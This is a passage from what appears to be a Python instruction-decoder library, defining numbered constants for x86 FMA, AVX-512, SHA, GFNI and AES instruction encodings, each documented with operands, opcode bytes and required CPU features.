``VFMADDSUB231PS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 B6 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADDSUB231PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3520
"""
``VFMADDSUB231PS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.66.0F38.W0 B6 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADDSUB231PD_XMM_K1Z_XMM_XMMM128B64: int = 3521
"""
``VFMADDSUB231PD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 B6 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADDSUB231PD_YMM_K1Z_YMM_YMMM256B64: int = 3522
"""
``VFMADDSUB231PD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 B6 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADDSUB231PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3523
"""
``VFMADDSUB231PD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{er}``
``EVEX.512.66.0F38.W1 B6 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VFMSUBADD231PS_XMM_XMM_XMMM128: int = 3524
"""
``VFMSUBADD231PS xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 B7 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMSUBADD231PS_YMM_YMM_YMMM256: int = 3525
"""
``VFMSUBADD231PS ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 B7 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMSUBADD231PD_XMM_XMM_XMMM128: int = 3526
"""
``VFMSUBADD231PD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W1 B7 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMSUBADD231PD_YMM_YMM_YMMM256: int = 3527
"""
``VFMSUBADD231PD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W1 B7 /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFMSUBADD231PS_XMM_K1Z_XMM_XMMM128B32: int = 3528
"""
``VFMSUBADD231PS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 B7 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUBADD231PS_YMM_K1Z_YMM_YMMM256B32: int = 3529
"""
``VFMSUBADD231PS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 B7 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUBADD231PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3530
"""
``VFMSUBADD231PS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.66.0F38.W0 B7 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUBADD231PD_XMM_K1Z_XMM_XMMM128B64: int = 3531
"""
``VFMSUBADD231PD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 B7 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUBADD231PD_YMM_K1Z_YMM_YMMM256B64: int = 3532
"""
``VFMSUBADD231PD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 B7 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUBADD231PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3533
"""
``VFMSUBADD231PD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{er}``
``EVEX.512.66.0F38.W1 B7 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VFMADD231PS_XMM_XMM_XMMM128: int = 3534
"""
``VFMADD231PS xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 B8 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMADD231PS_YMM_YMM_YMMM256: int = 3535
"""
``VFMADD231PS ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 B8 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMADD231PD_XMM_XMM_XMMM128: int = 3536
"""
``VFMADD231PD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W1 B8 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMADD231PD_YMM_YMM_YMMM256: int = 3537
"""
``VFMADD231PD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W1 B8 /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFMADD231PS_XMM_K1Z_XMM_XMMM128B32: int = 3538
"""
``VFMADD231PS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 B8 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADD231PS_YMM_K1Z_YMM_YMMM256B32: int = 3539
"""
``VFMADD231PS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 B8 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADD231PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3540
"""
``VFMADD231PS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.66.0F38.W0 B8 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADD231PD_XMM_K1Z_XMM_XMMM128B64: int = 3541
"""
``VFMADD231PD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 B8 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADD231PD_YMM_K1Z_YMM_YMMM256B64: int = 3542
"""
``VFMADD231PD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 B8 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADD231PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3543
"""
``VFMADD231PD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{er}``
``EVEX.512.66.0F38.W1 B8 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VFMADD231SS_XMM_XMM_XMMM32: int = 3544
"""
``VFMADD231SS xmm1, xmm2, xmm3/m32``
``VEX.LIG.66.0F38.W0 B9 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMADD231SD_XMM_XMM_XMMM64: int = 3545
"""
``VFMADD231SD xmm1, xmm2, xmm3/m64``
``VEX.LIG.66.0F38.W1 B9 /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFMADD231SS_XMM_K1Z_XMM_XMMM32_ER: int = 3546
"""
``VFMADD231SS xmm1 {k1}{z}, xmm2, xmm3/m32{er}``
``EVEX.LIG.66.0F38.W0 B9 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADD231SD_XMM_K1Z_XMM_XMMM64_ER: int = 3547
"""
``VFMADD231SD xmm1 {k1}{z}, xmm2, xmm3/m64{er}``
``EVEX.LIG.66.0F38.W1 B9 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VFMSUB231PS_XMM_XMM_XMMM128: int = 3548
"""
``VFMSUB231PS xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 BA /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMSUB231PS_YMM_YMM_YMMM256: int = 3549
"""
``VFMSUB231PS ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 BA /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMSUB231PD_XMM_XMM_XMMM128: int = 3550
"""
``VFMSUB231PD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W1 BA /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMSUB231PD_YMM_YMM_YMMM256: int = 3551
"""
``VFMSUB231PD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W1 BA /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFMSUB231PS_XMM_K1Z_XMM_XMMM128B32: int = 3552
"""
``VFMSUB231PS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 BA /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUB231PS_YMM_K1Z_YMM_YMMM256B32: int = 3553
"""
``VFMSUB231PS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 BA /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUB231PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3554
"""
``VFMSUB231PS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.66.0F38.W0 BA /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUB231PD_XMM_K1Z_XMM_XMMM128B64: int = 3555
"""
``VFMSUB231PD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 BA /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUB231PD_YMM_K1Z_YMM_YMMM256B64: int = 3556
"""
``VFMSUB231PD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 BA /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUB231PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3557
"""
``VFMSUB231PD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{er}``
``EVEX.512.66.0F38.W1 BA /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VFMSUB231SS_XMM_XMM_XMMM32: int = 3558
"""
``VFMSUB231SS xmm1, xmm2, xmm3/m32``
``VEX.LIG.66.0F38.W0 BB /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMSUB231SD_XMM_XMM_XMMM64: int = 3559
"""
``VFMSUB231SD xmm1, xmm2, xmm3/m64``
``VEX.LIG.66.0F38.W1 BB /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFMSUB231SS_XMM_K1Z_XMM_XMMM32_ER: int = 3560
"""
``VFMSUB231SS xmm1 {k1}{z}, xmm2, xmm3/m32{er}``
``EVEX.LIG.66.0F38.W0 BB /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUB231SD_XMM_K1Z_XMM_XMMM64_ER: int = 3561
"""
``VFMSUB231SD xmm1 {k1}{z}, xmm2, xmm3/m64{er}``
``EVEX.LIG.66.0F38.W1 BB /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VFNMADD231PS_XMM_XMM_XMMM128: int = 3562
"""
``VFNMADD231PS xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 BC /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFNMADD231PS_YMM_YMM_YMMM256: int = 3563
"""
``VFNMADD231PS ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 BC /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFNMADD231PD_XMM_XMM_XMMM128: int = 3564
"""
``VFNMADD231PD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W1 BC /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFNMADD231PD_YMM_YMM_YMMM256: int = 3565
"""
``VFNMADD231PD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W1 BC /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFNMADD231PS_XMM_K1Z_XMM_XMMM128B32: int = 3566
"""
``VFNMADD231PS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 BC /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMADD231PS_YMM_K1Z_YMM_YMMM256B32: int = 3567
"""
``VFNMADD231PS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 BC /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMADD231PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3568
"""
``VFNMADD231PS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.66.0F38.W0 BC /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMADD231PD_XMM_K1Z_XMM_XMMM128B64: int = 3569
"""
``VFNMADD231PD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 BC /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMADD231PD_YMM_K1Z_YMM_YMMM256B64: int = 3570
"""
``VFNMADD231PD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 BC /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMADD231PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3571
"""
``VFNMADD231PD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{er}``
``EVEX.512.66.0F38.W1 BC /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VFNMADD231SS_XMM_XMM_XMMM32: int = 3572
"""
``VFNMADD231SS xmm1, xmm2, xmm3/m32``
``VEX.LIG.66.0F38.W0 BD /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFNMADD231SD_XMM_XMM_XMMM64: int = 3573
"""
``VFNMADD231SD xmm1, xmm2, xmm3/m64``
``VEX.LIG.66.0F38.W1 BD /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFNMADD231SS_XMM_K1Z_XMM_XMMM32_ER: int = 3574
"""
``VFNMADD231SS xmm1 {k1}{z}, xmm2, xmm3/m32{er}``
``EVEX.LIG.66.0F38.W0 BD /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMADD231SD_XMM_K1Z_XMM_XMMM64_ER: int = 3575
"""
``VFNMADD231SD xmm1 {k1}{z}, xmm2, xmm3/m64{er}``
``EVEX.LIG.66.0F38.W1 BD /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VFNMSUB231PS_XMM_XMM_XMMM128: int = 3576
"""
``VFNMSUB231PS xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 BE /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFNMSUB231PS_YMM_YMM_YMMM256: int = 3577
"""
``VFNMSUB231PS ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 BE /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFNMSUB231PD_XMM_XMM_XMMM128: int = 3578
"""
``VFNMSUB231PD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W1 BE /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFNMSUB231PD_YMM_YMM_YMMM256: int = 3579
"""
``VFNMSUB231PD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W1 BE /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFNMSUB231PS_XMM_K1Z_XMM_XMMM128B32: int = 3580
"""
``VFNMSUB231PS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 BE /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMSUB231PS_YMM_K1Z_YMM_YMMM256B32: int = 3581
"""
``VFNMSUB231PS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 BE /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMSUB231PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3582
"""
``VFNMSUB231PS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.66.0F38.W0 BE /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMSUB231PD_XMM_K1Z_XMM_XMMM128B64: int = 3583
"""
``VFNMSUB231PD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 BE /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMSUB231PD_YMM_K1Z_YMM_YMMM256B64: int = 3584
"""
``VFNMSUB231PD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 BE /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMSUB231PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3585
"""
``VFNMSUB231PD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{er}``
``EVEX.512.66.0F38.W1 BE /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VFNMSUB231SS_XMM_XMM_XMMM32: int = 3586
"""
``VFNMSUB231SS xmm1, xmm2, xmm3/m32``
``VEX.LIG.66.0F38.W0 BF /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFNMSUB231SD_XMM_XMM_XMMM64: int = 3587
"""
``VFNMSUB231SD xmm1, xmm2, xmm3/m64``
``VEX.LIG.66.0F38.W1 BF /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFNMSUB231SS_XMM_K1Z_XMM_XMMM32_ER: int = 3588
"""
``VFNMSUB231SS xmm1 {k1}{z}, xmm2, xmm3/m32{er}``
``EVEX.LIG.66.0F38.W0 BF /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMSUB231SD_XMM_K1Z_XMM_XMMM64_ER: int = 3589
"""
``VFNMSUB231SD xmm1 {k1}{z}, xmm2, xmm3/m64{er}``
``EVEX.LIG.66.0F38.W1 BF /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPCONFLICTD_XMM_K1Z_XMMM128B32: int = 3590
"""
``VPCONFLICTD xmm1 {k1}{z}, xmm2/m128/m32bcst``
``EVEX.128.66.0F38.W0 C4 /r``
``AVX512VL and AVX512CD``
``16/32/64-bit``
"""
EVEX_VPCONFLICTD_YMM_K1Z_YMMM256B32: int = 3591
"""
``VPCONFLICTD ymm1 {k1}{z}, ymm2/m256/m32bcst``
``EVEX.256.66.0F38.W0 C4 /r``
``AVX512VL and AVX512CD``
``16/32/64-bit``
"""
EVEX_VPCONFLICTD_ZMM_K1Z_ZMMM512B32: int = 3592
"""
``VPCONFLICTD zmm1 {k1}{z}, zmm2/m512/m32bcst``
``EVEX.512.66.0F38.W0 C4 /r``
``AVX512CD``
``16/32/64-bit``
"""
EVEX_VPCONFLICTQ_XMM_K1Z_XMMM128B64: int = 3593
"""
``VPCONFLICTQ xmm1 {k1}{z}, xmm2/m128/m64bcst``
``EVEX.128.66.0F38.W1 C4 /r``
``AVX512VL and AVX512CD``
``16/32/64-bit``
"""
EVEX_VPCONFLICTQ_YMM_K1Z_YMMM256B64: int = 3594
"""
``VPCONFLICTQ ymm1 {k1}{z}, ymm2/m256/m64bcst``
``EVEX.256.66.0F38.W1 C4 /r``
``AVX512VL and AVX512CD``
``16/32/64-bit``
"""
EVEX_VPCONFLICTQ_ZMM_K1Z_ZMMM512B64: int = 3595
"""
``VPCONFLICTQ zmm1 {k1}{z}, zmm2/m512/m64bcst``
``EVEX.512.66.0F38.W1 C4 /r``
``AVX512CD``
``16/32/64-bit``
"""
EVEX_VGATHERPF0DPS_VM32Z_K1: int = 3596
"""
``VGATHERPF0DPS vm32z {k1}``
``EVEX.512.66.0F38.W0 C6 /1 /vsib``
``AVX512PF``
``16/32/64-bit``
"""
EVEX_VGATHERPF0DPD_VM32Y_K1: int = 3597
"""
``VGATHERPF0DPD vm32y {k1}``
``EVEX.512.66.0F38.W1 C6 /1 /vsib``
``AVX512PF``
``16/32/64-bit``
"""
EVEX_VGATHERPF1DPS_VM32Z_K1: int = 3598
"""
``VGATHERPF1DPS vm32z {k1}``
``EVEX.512.66.0F38.W0 C6 /2 /vsib``
``AVX512PF``
``16/32/64-bit``
"""
EVEX_VGATHERPF1DPD_VM32Y_K1: int = 3599
"""
``VGATHERPF1DPD vm32y {k1}``
``EVEX.512.66.0F38.W1 C6 /2 /vsib``
``AVX512PF``
``16/32/64-bit``
"""
EVEX_VSCATTERPF0DPS_VM32Z_K1: int = 3600
"""
``VSCATTERPF0DPS vm32z {k1}``
``EVEX.512.66.0F38.W0 C6 /5 /vsib``
``AVX512PF``
``16/32/64-bit``
"""
EVEX_VSCATTERPF0DPD_VM32Y_K1: int = 3601
"""
``VSCATTERPF0DPD vm32y {k1}``
``EVEX.512.66.0F38.W1 C6 /5 /vsib``
``AVX512PF``
``16/32/64-bit``
"""
EVEX_VSCATTERPF1DPS_VM32Z_K1: int = 3602
"""
``VSCATTERPF1DPS vm32z {k1}``
``EVEX.512.66.0F38.W0 C6 /6 /vsib``
``AVX512PF``
``16/32/64-bit``
"""
EVEX_VSCATTERPF1DPD_VM32Y_K1: int = 3603
"""
``VSCATTERPF1DPD vm32y {k1}``
``EVEX.512.66.0F38.W1 C6 /6 /vsib``
``AVX512PF``
``16/32/64-bit``
"""
EVEX_VGATHERPF0QPS_VM64Z_K1: int = 3604
"""
``VGATHERPF0QPS vm64z {k1}``
``EVEX.512.66.0F38.W0 C7 /1 /vsib``
``AVX512PF``
``16/32/64-bit``
"""
EVEX_VGATHERPF0QPD_VM64Z_K1: int = 3605
"""
``VGATHERPF0QPD vm64z {k1}``
``EVEX.512.66.0F38.W1 C7 /1 /vsib``
``AVX512PF``
``16/32/64-bit``
"""
EVEX_VGATHERPF1QPS_VM64Z_K1: int = 3606
"""
``VGATHERPF1QPS vm64z {k1}``
``EVEX.512.66.0F38.W0 C7 /2 /vsib``
``AVX512PF``
``16/32/64-bit``
"""
EVEX_VGATHERPF1QPD_VM64Z_K1: int = 3607
"""
``VGATHERPF1QPD vm64z {k1}``
``EVEX.512.66.0F38.W1 C7 /2 /vsib``
``AVX512PF``
``16/32/64-bit``
"""
EVEX_VSCATTERPF0QPS_VM64Z_K1: int = 3608
"""
``VSCATTERPF0QPS vm64z {k1}``
``EVEX.512.66.0F38.W0 C7 /5 /vsib``
``AVX512PF``
``16/32/64-bit``
"""
EVEX_VSCATTERPF0QPD_VM64Z_K1: int = 3609
"""
``VSCATTERPF0QPD vm64z {k1}``
``EVEX.512.66.0F38.W1 C7 /5 /vsib``
``AVX512PF``
``16/32/64-bit``
"""
EVEX_VSCATTERPF1QPS_VM64Z_K1: int = 3610
"""
``VSCATTERPF1QPS vm64z {k1}``
``EVEX.512.66.0F38.W0 C7 /6 /vsib``
``AVX512PF``
``16/32/64-bit``
"""
EVEX_VSCATTERPF1QPD_VM64Z_K1: int = 3611
"""
``VSCATTERPF1QPD vm64z {k1}``
``EVEX.512.66.0F38.W1 C7 /6 /vsib``
``AVX512PF``
``16/32/64-bit``
"""
SHA1NEXTE_XMM_XMMM128: int = 3612
"""
``SHA1NEXTE xmm1, xmm2/m128``
``NP 0F 38 C8 /r``
``SHA``
``16/32/64-bit``
"""
EVEX_VEXP2PS_ZMM_K1Z_ZMMM512B32_SAE: int = 3613
"""
``VEXP2PS zmm1 {k1}{z}, zmm2/m512/m32bcst{sae}``
``EVEX.512.66.0F38.W0 C8 /r``
``AVX512ER``
``16/32/64-bit``
"""
EVEX_VEXP2PD_ZMM_K1Z_ZMMM512B64_SAE: int = 3614
"""
``VEXP2PD zmm1 {k1}{z}, zmm2/m512/m64bcst{sae}``
``EVEX.512.66.0F38.W1 C8 /r``
``AVX512ER``
``16/32/64-bit``
"""
SHA1MSG1_XMM_XMMM128: int = 3615
"""
``SHA1MSG1 xmm1, xmm2/m128``
``NP 0F 38 C9 /r``
``SHA``
``16/32/64-bit``
"""
SHA1MSG2_XMM_XMMM128: int = 3616
"""
``SHA1MSG2 xmm1, xmm2/m128``
``NP 0F 38 CA /r``
``SHA``
``16/32/64-bit``
"""
EVEX_VRCP28PS_ZMM_K1Z_ZMMM512B32_SAE: int = 3617
"""
``VRCP28PS zmm1 {k1}{z}, zmm2/m512/m32bcst{sae}``
``EVEX.512.66.0F38.W0 CA /r``
``AVX512ER``
``16/32/64-bit``
"""
EVEX_VRCP28PD_ZMM_K1Z_ZMMM512B64_SAE: int = 3618
"""
``VRCP28PD zmm1 {k1}{z}, zmm2/m512/m64bcst{sae}``
``EVEX.512.66.0F38.W1 CA /r``
``AVX512ER``
``16/32/64-bit``
"""
SHA256RNDS2_XMM_XMMM128: int = 3619
"""
``SHA256RNDS2 xmm1, xmm2/m128, <XMM0>``
``NP 0F 38 CB /r``
``SHA``
``16/32/64-bit``
"""
EVEX_VRCP28SS_XMM_K1Z_XMM_XMMM32_SAE: int = 3620
"""
``VRCP28SS xmm1 {k1}{z}, xmm2, xmm3/m32{sae}``
``EVEX.LIG.66.0F38.W0 CB /r``
``AVX512ER``
``16/32/64-bit``
"""
EVEX_VRCP28SD_XMM_K1Z_XMM_XMMM64_SAE: int = 3621
"""
``VRCP28SD xmm1 {k1}{z}, xmm2, xmm3/m64{sae}``
``EVEX.LIG.66.0F38.W1 CB /r``
``AVX512ER``
``16/32/64-bit``
"""
SHA256MSG1_XMM_XMMM128: int = 3622
"""
``SHA256MSG1 xmm1, xmm2/m128``
``NP 0F 38 CC /r``
``SHA``
``16/32/64-bit``
"""
EVEX_VRSQRT28PS_ZMM_K1Z_ZMMM512B32_SAE: int = 3623
"""
``VRSQRT28PS zmm1 {k1}{z}, zmm2/m512/m32bcst{sae}``
``EVEX.512.66.0F38.W0 CC /r``
``AVX512ER``
``16/32/64-bit``
"""
EVEX_VRSQRT28PD_ZMM_K1Z_ZMMM512B64_SAE: int = 3624
"""
``VRSQRT28PD zmm1 {k1}{z}, zmm2/m512/m64bcst{sae}``
``EVEX.512.66.0F38.W1 CC /r``
``AVX512ER``
``16/32/64-bit``
"""
SHA256MSG2_XMM_XMMM128: int = 3625
"""
``SHA256MSG2 xmm1, xmm2/m128``
``NP 0F 38 CD /r``
``SHA``
``16/32/64-bit``
"""
EVEX_VRSQRT28SS_XMM_K1Z_XMM_XMMM32_SAE: int = 3626
"""
``VRSQRT28SS xmm1 {k1}{z}, xmm2, xmm3/m32{sae}``
``EVEX.LIG.66.0F38.W0 CD /r``
``AVX512ER``
``16/32/64-bit``
"""
EVEX_VRSQRT28SD_XMM_K1Z_XMM_XMMM64_SAE: int = 3627
"""
``VRSQRT28SD xmm1 {k1}{z}, xmm2, xmm3/m64{sae}``
``EVEX.LIG.66.0F38.W1 CD /r``
``AVX512ER``
``16/32/64-bit``
"""
GF2P8MULB_XMM_XMMM128: int = 3628
"""
``GF2P8MULB xmm1, xmm2/m128``
``66 0F 38 CF /r``
``GFNI``
``16/32/64-bit``
"""
VEX_VGF2P8MULB_XMM_XMM_XMMM128: int = 3629
"""
``VGF2P8MULB xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 CF /r``
``AVX and GFNI``
``16/32/64-bit``
"""
VEX_VGF2P8MULB_YMM_YMM_YMMM256: int = 3630
"""
``VGF2P8MULB ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 CF /r``
``AVX and GFNI``
``16/32/64-bit``
"""
EVEX_VGF2P8MULB_XMM_K1Z_XMM_XMMM128: int = 3631
"""
``VGF2P8MULB xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F38.W0 CF /r``
``AVX512VL and GFNI``
``16/32/64-bit``
"""
EVEX_VGF2P8MULB_YMM_K1Z_YMM_YMMM256: int = 3632
"""
``VGF2P8MULB ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F38.W0 CF /r``
``AVX512VL and GFNI``
``16/32/64-bit``
"""
EVEX_VGF2P8MULB_ZMM_K1Z_ZMM_ZMMM512: int = 3633
"""
``VGF2P8MULB zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F38.W0 CF /r``
``AVX512F and GFNI``
``16/32/64-bit``
"""
AESIMC_XMM_XMMM128: int = 3634
"""
``AESIMC xmm1, xmm2/m128``
``66 0F 38 DB /r``
``AES``
``16/32/64-bit``
"""
VEX_VAESIMC_XMM_XMMM128: int = 3635
"""
``VAESIMC xmm1, xmm2/m128``
``VEX.128.66.0F38.WIG DB /r``
``AES and AVX``
``16/32/64-bit``
"""
AESENC_XMM_XMMM128: int = 3636
"""
``AESENC xmm1, xmm2/m128``
``66 0F 38 DC /r``
``AES``
``16/32/64-bit``
"""
VEX_VAESENC_XMM_XMM_XMMM128: int = 3637
"""
``VAESENC xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG DC /r``
``AES and AVX``
``16/32/64-bit``
"""
VEX_VAESENC_YMM_YMM_YMMM256: int = 3638
"""
``VAESENC ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG DC /r``
``VAES``
``16/32/64-bit``
"""
EVEX_VAESENC_XMM_XMM_XMMM128: int = 3639
"""
``VAESENC xmm1, xmm2, xmm3/m128``
``EVEX.128.66.0F38.WIG DC /r``
``AVX512VL and VAES``
``16/32/64-bit``
"""
EVEX_VAESENC_YMM_YMM_YMMM256: int = 3640
"""
``VAESENC ymm1, ymm2, ymm3/m256``
``EVEX.256.66.0F38.WIG DC /r``
``AVX512VL and VAES``
``16/32/64-bit``
"""
EVEX_VAESENC_ZMM_ZMM_ZMMM512: int = 3641
"""
``VAESENC zmm1, zmm2, zmm3/m512``
``EVEX.512.66.0F38.WIG DC /r``
``AVX512F and VAES``
``16/32/64-bit``
"""
